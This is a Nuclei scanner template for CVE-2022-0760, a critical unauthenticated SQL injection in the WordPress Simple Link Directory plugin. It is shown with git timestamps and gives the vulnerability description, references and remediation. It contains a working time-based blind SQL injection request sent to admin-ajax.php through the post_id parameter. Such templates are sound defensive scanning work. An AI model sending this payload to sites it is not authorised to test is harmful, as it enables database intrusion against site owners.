nuclei-templates/http/cves/2022/CVE-2022-0760.yaml

52 lines
2.4 KiB
YAML
Raw Normal View History

2023-03-05 13:42:10 +00:00
id: CVE-2022-0760
info:
name: WordPress Simple Link Directory <7.7.2 - SQL injection
2023-03-05 13:42:10 +00:00
author: theamanrawat
severity: critical
description: |
WordPress Simple Link Directory plugin before 7.7.2 contains a SQL injection vulnerability. The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action, available to unauthenticated and authenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the WordPress site.
2023-09-06 11:59:08 +00:00
remediation: |
Update to the latest version of WordPress Simple Link Directory plugin (7.7.2 or higher) to mitigate the SQL injection vulnerability.
2023-03-05 13:42:10 +00:00
reference:
- https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210
- https://wordpress.org/plugins/simple-link-directory/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0760
- https://plugins.trac.wordpress.org/changeset/2684915
2023-03-05 13:42:10 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0760
cwe-id: CWE-89
epss-score: 0.03399
epss-percentile: 0.90418
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:quantumcloud:simple_link_directory:*:*:*:*:*:wordpress:*:*
2023-03-05 13:42:10 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: quantumcloud
product: simple_link_directory
2023-09-06 11:59:08 +00:00
framework: wordpress
2023-12-05 09:50:33 +00:00
tags: cve,cve2022,sqli,wordpress,wp-plugin,wp,simple-link-directory,unauth,wpscan,quantumcloud
2023-03-05 13:42:10 +00:00
http:
2023-03-05 13:42:10 +00:00
- raw:
- |
@timeout 20s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(7))enz)
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code == 200 || status_code == 500'
- 'contains(content_type, "text/html")'
2023-03-05 13:52:34 +00:00
- 'contains(body, "vote_status") || contains(body, "critical error")'
2023-03-05 13:42:10 +00:00
condition: and
# digest: 4a0a0047304502200c5e1f6a0952b96397bb25992ca64ae0814f8665096b843620a28c3ac30ae3e9022100db50d5289f6941adbb82747ee355c3e8ad4224c35d4c33279ce209fdb7e09c1e:922c64590222798bb761d5b6d8e72950